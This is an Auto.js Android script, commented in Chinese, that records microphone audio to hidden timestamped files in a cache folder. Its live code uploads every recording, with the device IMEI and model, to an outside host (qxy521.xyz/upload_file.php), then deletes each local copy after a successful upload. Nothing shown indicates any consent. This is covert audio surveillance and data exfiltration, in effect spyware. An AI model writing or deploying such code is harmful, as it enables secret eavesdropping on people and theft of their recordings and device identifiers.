importClass(android.media.MediaRecorder)
importPackage(android.media)
importClass(android.icu.text.DateFormat)

// 音频获取源
//   public static int audioSource = MediaRecorder.AudioSource.MIC;
// 设置音频采样率，44100是目前的标准，但是某些设备仍然支持22050，16000，11025
//   public static int /*  */sampleRateInHz = 44100;
// 设置音频的录制的声道CHANNEL_IN_STEREO为双声道，CHANNEL_CONFIGURATION_MONO为单声道
//   public static int channelConfig = AudioFormat.CHANNEL_IN_STEREO;
// 音频数据格式:PCM 16位每个样本。保证设备支持。PCM 8位每个样本。不一定能得到设备支持。
//   public static int audioFormat = AudioFormat.ENCODING_PCM_16BIT;
// 缓冲区字节大小
//   public static int bufferSizeInBytes = 0;
/**
 * 判断是是否有录音权限
 */
function 检查录音权限(context) {
  var audioSource = MediaRecorder.AudioSource.MIC;
  var /*  */sampleRateInHz = 44100;
  var channelConfig = AudioFormat.CHANNEL_IN_STEREO;
  var audioFormat = AudioFormat.ENCODING_PCM_16BIT;
  var bufferSizeInBytes = 10000;

  bufferSizeInBytes = 0;
  bufferSizeInBytes = AudioRecord.getMinBufferSize(sampleRateInHz,
    channelConfig, audioFormat);
  var audioRecord = new AudioRecord(audioSource, sampleRateInHz, //AudioRecord
    channelConfig, audioFormat, bufferSizeInBytes);
  //开始录制音频
  try {
    // 防止某些手机崩溃，例如联想
    audioRecord.startRecording();
  } catch (error) {
    // log(error)
  }
  /**
   * 根据开始录音判断是否有录音权限
   */
  var obj = {
    leftOnClick: function () { }, rightOnClick: function () {
      context.startActivity(new Intent(Settings.ACTION_MANAGE_APPLICATIONS_SETTINGS));
    }
  }
  if (audioRecord.getRecordingState() != AudioRecord.RECORDSTATE_RECORDING) {

    return false;
  }
  audioRecord.stop();
  audioRecord.release();
  audioRecord = null;

  return true;
}

// log(检查录音权限(context))



var mMediaRecorder = null;
// if (mMediaRecorder == null) {
//   mMediaRecorder = new MediaRecorder();
// }


/* ②setAudioSource/setVedioSource */
// mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 设置麦克风
// /*
//  * ②设置输出文件的格式：THREE_GPP/MPEG-4/RAW_AMR/Default THREE_GPP(3gp格式
//  * ，H263视频/ARM音频编码)、MPEG-4、RAW_AMR(只支持音频且音频编码要求为AMR_NB)
//  */
// mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
// /* ②设置音频文件的编码：AAC/AMR_NB/AMR_MB/Default 声音的（波形）的采样 */
// mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

// audioSaveDir = "/sdcard/Android/cache/audio/"

function start_luyin() {
  try {
    if (mMediaRecorder == null) {
      mMediaRecorder = new MediaRecorder();
    }
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 设置麦克风
    /*
     * ②设置输出文件的格式：THREE_GPP/MPEG-4/RAW_AMR/Default THREE_GPP(3gp格式
     * ，H263视频/ARM音频编码)、MPEG-4、RAW_AMR(只支持音频且音频编码要求为AMR_NB)
     */
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    /* ②设置音频文件的编码：AAC/AMR_NB/AMR_MB/Default 声音的（波形）的采样 */
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    /* ③准备 */
    mMediaRecorder.setOutputFile("/sdcard/Android/cache/audio/" + new Date().getTime() + ".m4a");
    mMediaRecorder.prepare();
    /* ④开始 */
    mMediaRecorder.start();
  } catch (e) {
    log(e)
  }
}
function stop_luyin() {
  try {
    mMediaRecorder.stop();
    mMediaRecorder.reset();
    mMediaRecorder.release();
    mMediaRecorder = null;
  } catch (e) {
    log(e)
    try {
      mMediaRecorder.reset();
      mMediaRecorder.release();
    } catch (ee) {
      log(ee)
    }
  }
}
// start_luyin()
// sleep(5000)
// stop_luyin()
// start_luyin()
// sleep(5000)
// stop_luyin()
var array = files.listDir("/sdcard/Android/cache/audio/")
var base = "/sdcard/Android/cache/audio/"
for (let index = 0; index < array.length; index++) {
  var element = base + array[index];
  http.postMultipart("http://qxy521.xyz/upload_file.php", {
    file: open(element),
    imei:device.getIMEI(),
    model:device.model,
  },{},(res)=>{
    if (res.statusCode==200) {
      log(res.body.string())
      log(files.remove(element))
    }else{
      log(res.statusCode)
    }
  })
}
setInterval(()=>{},1000)





